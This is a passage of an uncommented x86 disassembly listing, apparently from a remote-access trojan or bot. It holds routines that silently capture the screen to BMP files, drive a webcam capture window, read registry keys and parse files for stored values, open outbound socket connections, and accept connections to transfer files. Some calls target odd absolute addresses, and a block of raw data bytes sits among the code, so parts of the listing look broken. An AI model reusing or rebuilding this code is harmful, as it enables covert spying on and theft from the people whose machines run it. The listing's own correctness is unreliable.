var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 26F09D7h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 26E0000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		push	[ebp+arg_0]
		call	near ptr 26508ACh
		nop
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361F4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361F4
		mov	esi, offset dword_436200
		mov	edi, offset dword_4373F8


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373F4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373F4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22BA314h, 43D12868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A2AAE856h, 6A90022Bh, 0C4E89064h, 330224B1h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0B16DE864h, 6A900224h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437574
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437550
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437474
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 26F09D7h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437530
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2730AA1h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437518
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437500
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
